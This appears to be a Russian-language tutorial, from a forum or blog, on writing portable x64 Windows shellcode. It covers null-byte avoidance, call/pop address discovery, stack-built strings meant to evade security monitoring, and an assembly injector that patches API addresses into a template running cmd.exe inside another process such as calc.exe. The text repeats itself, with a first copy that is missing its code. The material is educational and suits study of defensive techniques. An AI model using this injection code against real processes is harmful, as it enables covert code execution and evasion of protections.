Шелл - это небольшой фрагмент машинного кода, используемый в качестве пайлоада при эксплуатации уязвимостей прог.обеспечения. В чистом виде в легальной разработке не используется, однако принципы его создания применяются и в законных областях, например: тестирование на проникновение (пентест), ИБ-анализ и разработка антивирусов (чтобы научить защиту ловить малварь), реверс и отладка, а так-же JIT-компиляция кода на лету в браузерах с JS-движками, хотя делают это они через защищённые механизмы ОС, а не через инъекции. Более того, если придерживаться простого правила "Не возможно защищать код, не зная как его ломают", то смысл в изучении шеллов всё-же есть.
Оглавление:
1. Вводная часть
Создание шеллкодов - целая наука, постичь которую дано не каждому. Он не знает заранее куда попадёт, а потому должен уметь выживать в любых условиях, адаптируясь под конкретную ОС. Таким образом проблема "нумбер ван" - реализовать переносимость, когда код полностью абстрагирован от особенностей программного обеспечения.
Здесь нужно отметить, что мы имеем дело с машинными инструкциями, которые жёстко привязаны именно к ЦП. От сюда следует, что полностью переносимым шелл не может быть по определению, если только не запихать в него экземпляры для всех имеющихся в природе архитектур процессоров. Поэтому условимся называть переносимым код, который будет поддерживать только заданную линейку ОС, в данном случае Win7-11 с CPU х86_64 на борту. В конце концов, гораздо проще написать сдесяток узкоспециализированных тушек, чем одну универсальную.
Основное требование - код должен быть компактным, полностью перемещаем в памяти (т.е. сохранять свой функционал при любом расположении, Position-Independent Code PIC), и использовать минимум системно-зависимых служебных структур, закладываясь лишь на документированные из них. Забудьте о хитрых трюках и андок возможностях - всё это негативно сказывается на переносимости и фактически ничего не даёт взамен. Здесь всё должно быть по взрослому, иначе при первой-же высадке десанта на вражескую территорию, в лучшем случае он попадёт в плен, а в худшем подорвётся на собственной мине, забрав с собой на тот свет и приложение-матку.
Кстати о жертве, от имени которой будет исполняться шелл. Инжект подразумевает полностью идентичное приложение. К примеру, недопустимо внедрять классический Win32 шелл, в созданный в фреймворке .NET шарповский байт-код. Это относится и к современным приложениям UWP (Universal Windows Platform начиная с Win10). Ну с управляемым байт-кодом CIL всё ясно - он полностью не совместим, если на этапе компиляции не использовал технологию "Native AOT", а знать мы этого заранее не можем. Но что не так с UWP?
Проблема в том, что пространство памяти UWP и классических Win32-приложений различается уровнем изоляции и ограничением системных квот. Хотя оба типа приложений используют единую вирт.память Win, UWP работает внутри изолированного бокса "AppContainer" с жёстким контролем ресурсов. Вот их основные отличия:
Поэтому первое, что должен сделать инжектор шеллкода - это найти подходящую жертву среди активных процессов. Определить, является ли PE-файл приложением .NET довольно просто - нужно всего лишь проверить наличие записи(14) "COM Runtime Descriptor" в каталоге IMAGE_DATA_DIRECTORIES. Другой вариант - это чекнуть импорт либы mscoree.dll и функцию
А вот с UWP дела обстоят немного иначе, т.к. РЕ-заголовки их практически ничем не отличаются. Идентификация сводится к вызову функции
2. Компактность - как избавиться от нулевых байт
В большинстве источников утверждается, что первое правило при кодировании шеллкодов - это удалить из него все запрещённые символы, в число которых входят и двоичные нули. При этом в качестве аргумента приводится сишная функция
Но здесь не понятно, кому придёт в голову копировать бинарную тушку шелла как строку, ведь для этого предусмотрена спец.функция
Значит проблема нулей носит иной характер, тем более что полностью искоренить их нельзя хотя-бы потому, что нули эти могут являться частью вирт.адреса или целого числа, например
2.1. Инструкции переходов и вызовов
Концепция шеллов заключается в том, чтобы ни при каких условиях не использовать абсолютные адреса, иначе о перемещаемости кода в памяти не может быть и речи. Код должен оперировать исключительно относительными адресами, а если учесть, что адресация у проциков х86 в 64-битном режиме всегда RIP-относительная, это играет нам на руку. Здесь и далее разговор будет идти только о режиме х64.
Возьмём, к примеру, инструкции условных
Что касается инструкций безусловных переходов
Чтобы прощупать почву под ногами, первым делом шелл должен узнать адрес в вирт.памяти, куда его забросила судьба. Для этого используют природу инструкции
В примере ниже видно, что
В некоторых случаях шеллкоду нужно получить смещение от своего начала - это т.н. "Дельта-смещение", т.е. разница между текущим адресом и точкой-входа. Вычисляется она аналогично:
2.2. Нуль-терминальные строки, и аргументы функций
Проблема текстовых строк в шеллкодах стоит остро, поскольку львиная доля полезных API ожидает их в параметрах, например
Релевантное и оправданное со всех сторон решение - это вообще не хранить текст в своей тушке, а создавать его по мере необходимости прямо на лету. Хранить строки лучше в стеке, отправляя их фрагментами по 8-байт в 64-битных регистрах через
Большинство WinAPI принимают в качестве параметров описываемые в инклудах константы, которые мы должны передавать в регистрах или через стек. Здесь опять всплывает проблема паразитных нулей, поскольку размеры констант варьируются в широких пределах от 1 до 4 байт. Вот лишь некоторые из них:
Когда компилятор кодирует инструкцию пересылки
3. Переносимость WinAPI - динамический патчинг шаблонов
Ещё одна проблема при создании шеллкодов связана с поиском адресов API из системных DLL, ведь код без них будет представлять собой вещь в себе. Как упоминалось выше - это работа с файлами, реестром, диском, сетью, и т.д. Адреса API-функций пляшут в пьяную не только в каждой версии системных библиотек (удаляются старые и добавляются новые функции), но с приходом механизма ASLR меняются даже после каждой перезагрузки Win. Поэтому искать их приходится динамически, и каждый выкручивается здесь по своему.
За время существования Win вариантов было придумано не мало - всё сводится к тому, чтобы вычислить базу Kernel32.dll в памяти, и найти в её экспорте функции
Всё это сложно, вообще без маскировки, и раздувает шелл до размеров слона.
Но если посмотреть на проблему немного с другого ракурса, то наружу всплывают вполне очевидные вещи.
Известно, что Ntdll и Kernel32.dll загружаются буквально во все пользовательские процессы, причём всегда по одинаковому адресу! То есть база Kernel32.dll любого из удалённых процессов, будет равна базе в нашем собственном. В этой DLL можно найти почти все нужные шеллу функции, за исключением сетевых. Суть в том, что собирать тело шеллкода нужно не заранее, а на лету из своего процесса-инжектора. Тогда без разницы, на какую ОС Win7/10/11 попадёт наш код, и адреса API мы получим всегда валидные. Вот пример инжектора с полуфабрикатом-шеллом на борту в секции данных. После патча прямо из секции кода инжектора, он станет готовым к употреблению:
Я тестировал на своих Win7/10 и семпл отрабатывает вполне корректно, стартуя консоль cmd.exe с параметром запроса привилегий
4. Выводы
Программировать шеллы не только полезно, но и интересно. Единственное правило - соблюдать закон, и не распростронять вредоносов! Оттачивайте навыки от простого к сложному строго на своей машине и даже не пытайтесь атаковать чужие. Оправдывает себя поиск дыр в защищённых приложениях Win32, с последующей отправкой логов авторам, за что вам могут сказать спасибо и даже подкинуть шекелей. В общем всё должно быть в легальном ключе, тогда и спать будете спокойней.
В скрепку положил безобидный инжектор для тестов - ожидает PID удалённого процесса (см.диспетчер задач), и просто запускает cmd.exe от его имени. Жертва должна быть классическим приложением х64. Всем удачи, пока!
Оглавление:
1. Вводная часть
2. Компактность - как избавиться от нулевых байт
3. Проблемы переносимости кода (динамический патчинг шаблонов)
4. Выводы
1. Вводная часть
Создание шеллкодов - целая наука, постичь которую дано не каждому. Он не знает заранее куда попадёт, а потому должен уметь выживать в любых условиях, адаптируясь под конкретную ОС. Таким образом проблема "нумбер ван" - реализовать переносимость, когда код полностью абстрагирован от особенностей программного обеспечения.
Здесь нужно отметить, что мы имеем дело с машинными инструкциями, которые жёстко привязаны именно к ЦП. От сюда следует, что полностью переносимым шелл не может быть по определению, если только не запихать в него экземпляры для всех имеющихся в природе архитектур процессоров. Поэтому условимся называть переносимым код, который будет поддерживать только заданную линейку ОС, в данном случае Win7-11 с CPU х86_64 на борту. В конце концов, гораздо проще написать сдесяток узкоспециализированных тушек, чем одну универсальную.
Основное требование - код должен быть компактным, полностью перемещаем в памяти (т.е. сохранять свой функционал при любом расположении, Position-Independent Code PIC), и использовать минимум системно-зависимых служебных структур, закладываясь лишь на документированные из них. Забудьте о хитрых трюках и андок возможностях - всё это негативно сказывается на переносимости и фактически ничего не даёт взамен. Здесь всё должно быть по взрослому, иначе при первой-же высадке десанта на вражескую территорию, в лучшем случае он попадёт в плен, а в худшем подорвётся на собственной мине, забрав с собой на тот свет и приложение-матку.
Кстати о жертве, от имени которой будет исполняться шелл. Инжект подразумевает полностью идентичное приложение. К примеру, недопустимо внедрять классический Win32 шелл, в созданный в фреймворке .NET шарповский байт-код. Это относится и к современным приложениям UWP (Universal Windows Platform начиная с Win10). Ну с управляемым байт-кодом CIL всё ясно - он полностью не совместим, если на этапе компиляции не использовал технологию "Native AOT", а знать мы этого заранее не можем. Но что не так с UWP?
Проблема в том, что пространство памяти UWP и классических Win32-приложений различается уровнем изоляции и ограничением системных квот. Хотя оба типа приложений используют единую вирт.память Win, UWP работает внутри изолированного бокса "AppContainer" с жёстким контролем ресурсов. Вот их основные отличия:
• Win32: Каждое приложение имеет своё адресное пространство, но процессы запускаются с правами текущего пользователя и могут получить доступ к файлам, реестру или памяти других процессов при наличии нужного уровня целостности "Integrity Level". Размер памяти приложения ограничен лишь ОЗУ и файлом подкачки. Несколько программ могут свободно использовать общую Mapped-память, обмениваться сообщениями SendMessage() или напрямую обращаться к чужому пространству через дескрипторы.
• UWP: Приложения работают в изолированной песочнице. Доступ к памяти других процессов жёстко заблокирован на уровне ядра. Для UWP действуют строгие лимиты на память в зависимости от объёма ОЗУ и текущего состояния окна. Если окно свёрнуто в трей и находится в фоне, память его освобождается. Превышение лимита приводит к принудительной выгрузке и завершению процесса. Для обмена данными разрешено использовать только спец Runtime-механизмы (например, AppServices), или строго контролируемые каналы Pipe.
Поэтому первое, что должен сделать инжектор шеллкода - это найти подходящую жертву среди активных процессов. Определить, является ли PE-файл приложением .NET довольно просто - нужно всего лишь проверить наличие записи(14) "COM Runtime Descriptor" в каталоге IMAGE_DATA_DIRECTORIES. Другой вариант - это чекнуть импорт либы mscoree.dll и функцию
_CorExeMain() в ней, которая является точкой-входа в .NET приложение и инициализирует среду выполнения CLR "Common Language Runtime".А вот с UWP дела обстоят немного иначе, т.к. РЕ-заголовки их практически ничем не отличаются. Идентификация сводится к вызову функции
GetPackageFamilyName() из Kernel32.dll - если приложение UWP/AppX, в свой буфер API вернёт имя пакета, например "Microsoft.WindowsCalculator_8wekyb3d8bbwe", иначе ошибку APPMODEL_ERROR_NO_PACKAGE = 0x3D54.2. Компактность - как избавиться от нулевых байт
В большинстве источников утверждается, что первое правило при кодировании шеллкодов - это удалить из него все запрещённые символы, в число которых входят и двоичные нули. При этом в качестве аргумента приводится сишная функция
strcpy(), которая копирует одну текстовую строку в другую. Она берёт символы из ячеек памяти источника и переносит их в ячейки приёмника, пока не встретит знак конца строки(\0x00) в источнике. Таким образом, при копировании шеллкода в память процесса-жертвы, встретив нуль функция может обрезать его, оставив хвост произвольной длины на месте:
C-подобный:
strcpy(
destination, // адрес приёмника
source // адрес источника с нулевым символом в конце
);
Но здесь не понятно, кому придёт в голову копировать бинарную тушку шелла как строку, ведь для этого предусмотрена спец.функция
memcpy(), параметр "count" которой выступает в качестве счётчика байт:
C-подобный:
memcpy(
destination, // адрес приёмника
source, // адрес источника
count // кол-во байт для копирования
);
Значит проблема нулей носит иной характер, тем более что полностью искоренить их нельзя хотя-бы потому, что нули эти могут являться частью вирт.адреса или целого числа, например
8800A500h. C другой стороны, если шелл передаётся по сети через протокол HTTP, бинарный нуль оказывается запрещённым в теле POST, и пайлоад придётся кодировать в Base64, а для этого нужно таскать с собой декодер. Так-что удаляя нули мы делаем код устойчивым к неизвестным условиям окружения. В общем правило довольно правильное, и паразитные HEX-нули это скорее избыточность в коде, от которой желательно избавляться.2.1. Инструкции переходов и вызовов
Концепция шеллов заключается в том, чтобы ни при каких условиях не использовать абсолютные адреса, иначе о перемещаемости кода в памяти не может быть и речи. Код должен оперировать исключительно относительными адресами, а если учесть, что адресация у проциков х86 в 64-битном режиме всегда RIP-относительная, это играет нам на руку. Здесь и далее разговор будет идти только о режиме х64.
Возьмём, к примеру, инструкции условных
Jxx прыжков, как основу любого кода с ветвлениями. Они имеют 2 формы кодирования: с операндом 1-байт, и с операндом в 4-байтный дворд. В обоих случаях это число со-знаком, а потому инструкции могут осуществлять прыжки как вперёд, так и назад. При положительном значении операнда 00..7F короткая форма способна прыгать джампами на расстояние 128-байт вперёд от текущего RIP, а при отрицательном значении 80..FF переходить назад на такое-же смещение. Зато "прыгучесть" длинной формы с 4-байтным операндом увеличивается сразу до 2 Гбайт вперёд/назад - компиль вставляет её для условных переходов за пределы 128-байтных блоков памяти.Что касается инструкций безусловных переходов
JMP и CALL - здесь всё аналогично, только CALL не имеет 1-байтной формы, и в режиме х64 его операнд всегда размером в 32-битный дворд. В некоторых (описанных ниже) случаях это напрягает и приходится искать обходные пути.Чтобы прощупать почву под ногами, первым делом шелл должен узнать адрес в вирт.памяти, куда его забросила судьба. Для этого используют природу инструкции
call, которая перед непосредственным переходом забрасывает на макушку стека адрес-возврата в лице регистра RIP. Если сразу снять со-стека этот адрес инструкцией pop в любой из регистров общего назначения RAX..R15, в нём окажется текущий адрес в памяти.В примере ниже видно, что
call вперёд порождает опкод E8.02000000, а это аж три паразитных нуля, поскольку операнд 0x00000002 положительный. Чтобы избавиться от этих нулей, можно прыгнуть короткой формой джампа(2) сначала вперёд, а потом уже через call назад, в результате чего операнд изменится на(-), и нули превратятся в FFFFFFh. Напомню, что спец.символ @f указывает на первую безымянную метку @@ после себя (forward, вперёд).
Код:
start: sub rsp,8
call @f ;<---- под катом [push rsp]
nop
nop
@@: pop rax ;<---- RAX = адрес возврата!
jmp @f
@01: pop rax
nop
nop
jmp @02
@@: call @01
@02: nop
;-------------------------------------------
(1)
00402000 | 48:83EC 08 | sub rsp, 8
00402004 | E8 02000000 | call 40200B ;<--- операнд у E8 положительный = прыжок вперёд
00402009 | 90 | nop
0040200A | 90 | nop
0040200B | 58 | pop rax ;<--- RAX = 402009
(2)
0040200C | EB 05 | jmp 402013
0040200E | 58 | pop rax ;<--- RAX = 402018
0040200F | 90 | nop ;<----------- место под тушку шеллкода
00402010 | 90 | nop
00402011 | EB 05 | jmp 402018
00402013 | E8 F6FFFFFF | call 40200E ;<--- операнд у E8 отрицательный = прыжок назад
00402018 | 90 | nop
В некоторых случаях шеллкоду нужно получить смещение от своего начала - это т.н. "Дельта-смещение", т.е. разница между текущим адресом и точкой-входа. Вычисляется она аналогично:
Код:
call shellDelta
db 8 dup(0)
shellDelta:
sub qword[rsp],shellDelta
neg qword[rsp] ;<---- в стеке лежит длина = 8 байт
2.2. Нуль-терминальные строки, и аргументы функций
Проблема текстовых строк в шеллкодах стоит остро, поскольку львиная доля полезных API ожидает их в параметрах, например
CreateProcess() или альтернатива WinExec() для запуска приложений, CreateFile() или _lopen() для операций с файлами, LoadLibrary() и GetProcAddress() для загрузки DLL и поиска в них функций, RegOpenKey() для операций с реестром, и многое другое. Мало того, что строки при этом должны заканчиваться двоичным нулём, так ещё и хранить их в открытом виде небезопасно, т.к. шелла на входе в адресное пространство чужих процессов ждёт жёсткий фейс-контроль.Релевантное и оправданное со всех сторон решение - это вообще не хранить текст в своей тушке, а создавать его по мере необходимости прямо на лету. Хранить строки лучше в стеке, отправляя их фрагментами по 8-байт в 64-битных регистрах через
push. Так мы убиваем сразу 2 зайца - нет терминальных нулей в бинарнике, плюс системные сторожа не смогут уже раскусить план наших действий. Пример запуска консоли с параметром может выглядеть так - cmd.exe /k dir (длина строки 14 байт):
Код:
start: sub rsp,8
mov rax,'cmd.exe ' ;// RAX = первые 8-байт строки
mov rbx,'/k dir' ;// RBX = параметр для запуска cmd.exe
push rbx ;// помещаем в стек в обратном порядке,
push rax ;// ...чтобы сформировать полную строку.
mov rcx,rsp ;// передаём аргументы функции WinAPI
push 5 ;// mov edx,5 сгенерит в опкодах 3 нуля,
pop rdx ;// ...а вот push/pop - нет.
invoke WinExec,rcx,rdx
add rsp,8*2 ;// восстановить стек от пушей строки
;------------------------------------------------------------
0000000000402000 | 48:83EC 08 | sub rsp, 8
0000000000402004 | 48:B8 636D642E65786520 | mov rax, 206578652E646D63
000000000040200E | 48:BB 2F6B206469720000 | mov rbx, 0000726964206B2F
0000000000402018 | 53 | push rbx
0000000000402019 | 50 | push rax
000000000040201A | 48:89E1 | mov rcx, rsp
000000000040201D | 6A 05 | push 5
000000000040201F | 5A | pop rdx
0000000000402020 | 48:83EC 20 | sub rsp, 20
0000000000402024 | FF15 BE100000 | call [<WinExec>]
000000000040202A | 48:83C4 20 | add rsp, 20
000000000040202E | 48:83C4 10 | add rsp, 10
Большинство WinAPI принимают в качестве параметров описываемые в инклудах константы, которые мы должны передавать в регистрах или через стек. Здесь опять всплывает проблема паразитных нулей, поскольку размеры констант варьируются в широких пределах от 1 до 4 байт. Вот лишь некоторые из них:
Код:
GENERIC_READ = 80000000h PROCESS_TERMINATE = 00000001h
GENERIC_WRITE = 40000000h PROCESS_CREATE_THREAD = 00000002h
GENERIC_EXECUTE = 20000000h PROCESS_VM_OPERATION = 00000008h
GENERIC_ALL = 10000000h PROCESS_VM_READ = 00000010h
FILE_SHARE_READ = 00000001h PROCESS_VM_WRITE = 00000020h
FILE_SHARE_WRITE = 00000002h PROCESS_DUP_HANDLE = 00000040h
FILE_SHARE_DELETE = 00000004h PROCESS_CREATE_PROCESS = 00000080h
Когда компилятор кодирует инструкцию пересылки
MOV, важную роль играет размер первого операнда-приёмника. Поэтому MOV EAX,1 займёт в памяти 5-байт с тремя паразитными нулями, а MOV AL,1 всего 2-байта уже без паразитов, поскольку регистр AL размером в байт. Компактной является так-же запись в регистры через стек push/pop, т.к. компилятор сам выбирает здесь наиболее короткую форму. Ниже несколько примеров альтернативного кодирования парами (дефолт + оптимизированный вариант), а который из них выбрать - решать вам:
Код:
0000000000402004 | 48:B8 0000000078563412 | mov rax, 1234567800000000
000000000040200E | B8 78563412 | mov eax, 12345678
0000000000402013 | 48:C1E0 20 | shl rax, 20
0000000000402017 | 48:B8 0000008000000000 | mov rax, 80000000
0000000000402021 | 31C0 | xor eax, eax
0000000000402023 | B0 80 | mov al, 80
0000000000402025 | C1E0 18 | shl eax, 18
0000000000402028 | 48:C7C0 34120000 | mov rax, 1234
000000000040202F | 31C0 | xor eax, eax
0000000000402031 | 66:B8 3412 | mov ax, 1234
0000000000402035 | B8 20000000 | mov eax, 20
000000000040203A | 31C0 | xor eax, eax
000000000040203C | B0 20 | mov al, 20
000000000040203E | 6A 20 | push 20
0000000000402040 | 58 | pop rax
3. Переносимость WinAPI - динамический патчинг шаблонов
Ещё одна проблема при создании шеллкодов связана с поиском адресов API из системных DLL, ведь код без них будет представлять собой вещь в себе. Как упоминалось выше - это работа с файлами, реестром, диском, сетью, и т.д. Адреса API-функций пляшут в пьяную не только в каждой версии системных библиотек (удаляются старые и добавляются новые функции), но с приходом механизма ASLR меняются даже после каждой перезагрузки Win. Поэтому искать их приходится динамически, и каждый выкручивается здесь по своему.
За время существования Win вариантов было придумано не мало - всё сводится к тому, чтобы вычислить базу Kernel32.dll в памяти, и найти в её экспорте функции
LoadLibrary() + GetProcAddress(). Вот список алгоритмов от простого к сложному:1. Глобальный поиск базы Kernel32.dll в памяти по MZ и РЕ-сигнатуре.
2. Парсинг структуры PEB_LDR процесса, куда загрузчик образов сохраняет базы всех импортированных DLL.
3. Раскрутка стека исключений SEH/VEH, где прописан адрес дефолтного обработчика ошибок системы из Kernel32.
4. Вызов NativeAPI через
syscall, для чего потребуется большая база номеров системных сервисов для всех версий Win.Всё это сложно, вообще без маскировки, и раздувает шелл до размеров слона.
Но если посмотреть на проблему немного с другого ракурса, то наружу всплывают вполне очевидные вещи.
Известно, что Ntdll и Kernel32.dll загружаются буквально во все пользовательские процессы, причём всегда по одинаковому адресу! То есть база Kernel32.dll любого из удалённых процессов, будет равна базе в нашем собственном. В этой DLL можно найти почти все нужные шеллу функции, за исключением сетевых. Суть в том, что собирать тело шеллкода нужно не заранее, а на лету из своего процесса-инжектора. Тогда без разницы, на какую ОС Win7/10/11 попадёт наш код, и адреса API мы получим всегда валидные. Вот пример инжектора с полуфабрикатом-шеллом на борту в секции данных. После патча прямо из секции кода инжектора, он станет готовым к употреблению:
C-подобный:
section 'data' data readable writeable
;// Тушка шелла с завершением выделенного потока
shell: push rbp ;// выравним стек треда на 16-байт (общее правило для х64)
call @f
db 'cmd.exe /k whoami /priv',0
@@: pop rcx ;// RCX = адрес строки (первый аргумент WinExec)
push 5
pop rdx ;// RDX = второй аргумент = SHOW_NORMAL
sub rsp,20h
call qword[WinExecAddr] ;// вызов API WinExec()
xor ecx,ecx
call qword[ExitThreadAddr] ;// прибить тред шелла!
add rsp,20h
;// Абсолютные адреса API в памяти (тоже внутри шелла)
align 8 ;// обязательное выравнивание в памяти
WinExecAddr dq 0 ;// массив адресов API - в дефолте все нуль
ExitThreadAddr dq 0
LoadLibraryAddr dq 0
GetProcAddr dq 0
CreateFileAddr dq 0
DeviceIoCtlAddr dq 0
;//...... добавить нужные
shellSize = $ - shell
;//-------------
section '.text' code readable executable ;//<---- секция кода
start: sub rsp,8
;// 1. Заполняем динамически массив адресов в шеллкоде
mov rax, [WinExec] ;// абсолютные адреса API в вирт.памяти
mov rbx, [ExitThread] ;// берём из своего импорта
mov rcx, [LoadLibrary]
mov rdx, [GetProcAddress]
mov rsi, [CreateFile]
mov rdi, [DeviceIoControl]
mov [WinExecAddr], rax
mov [ExitThreadAddr], rbx
mov [LoadLibraryAddr],rcx
mov [GetProcAddr], rdx
mov [CreateFileAddr], rsi
mov [DevIoCtlAddr], rdi
;// 2. Теперь в шеллкоде правильные адреса именно для данной системы.
;// Когда он попадёт на другую ОС, мы автоматически пересоберём его заново.
;// Копируем теперь уже готовую тушку в проекцию памяти
mov rdi, [localAddress]
mov esi, shell
mov ecx, shellSize
rep movsb
Я тестировал на своих Win7/10 и семпл отрабатывает вполне корректно, стартуя консоль cmd.exe с параметром запроса привилегий
whoami/priv. В качестве удалённого процесса я выбрал здесь встроенный в мастдай калькулятор, и если посмотреть на родителя-Parent консольного окна в утилите "ProcessHacker", то обнаружим именно calc.exe, чего в реальной обстановке быть в принципе не может (у калькулятора нет встроенной функции запуска процессов).4. Выводы
Программировать шеллы не только полезно, но и интересно. Единственное правило - соблюдать закон, и не распростронять вредоносов! Оттачивайте навыки от простого к сложному строго на своей машине и даже не пытайтесь атаковать чужие. Оправдывает себя поиск дыр в защищённых приложениях Win32, с последующей отправкой логов авторам, за что вам могут сказать спасибо и даже подкинуть шекелей. В общем всё должно быть в легальном ключе, тогда и спать будете спокойней.
В скрепку положил безобидный инжектор для тестов - ожидает PID удалённого процесса (см.диспетчер задач), и просто запускает cmd.exe от его имени. Жертва должна быть классическим приложением х64. Всем удачи, пока!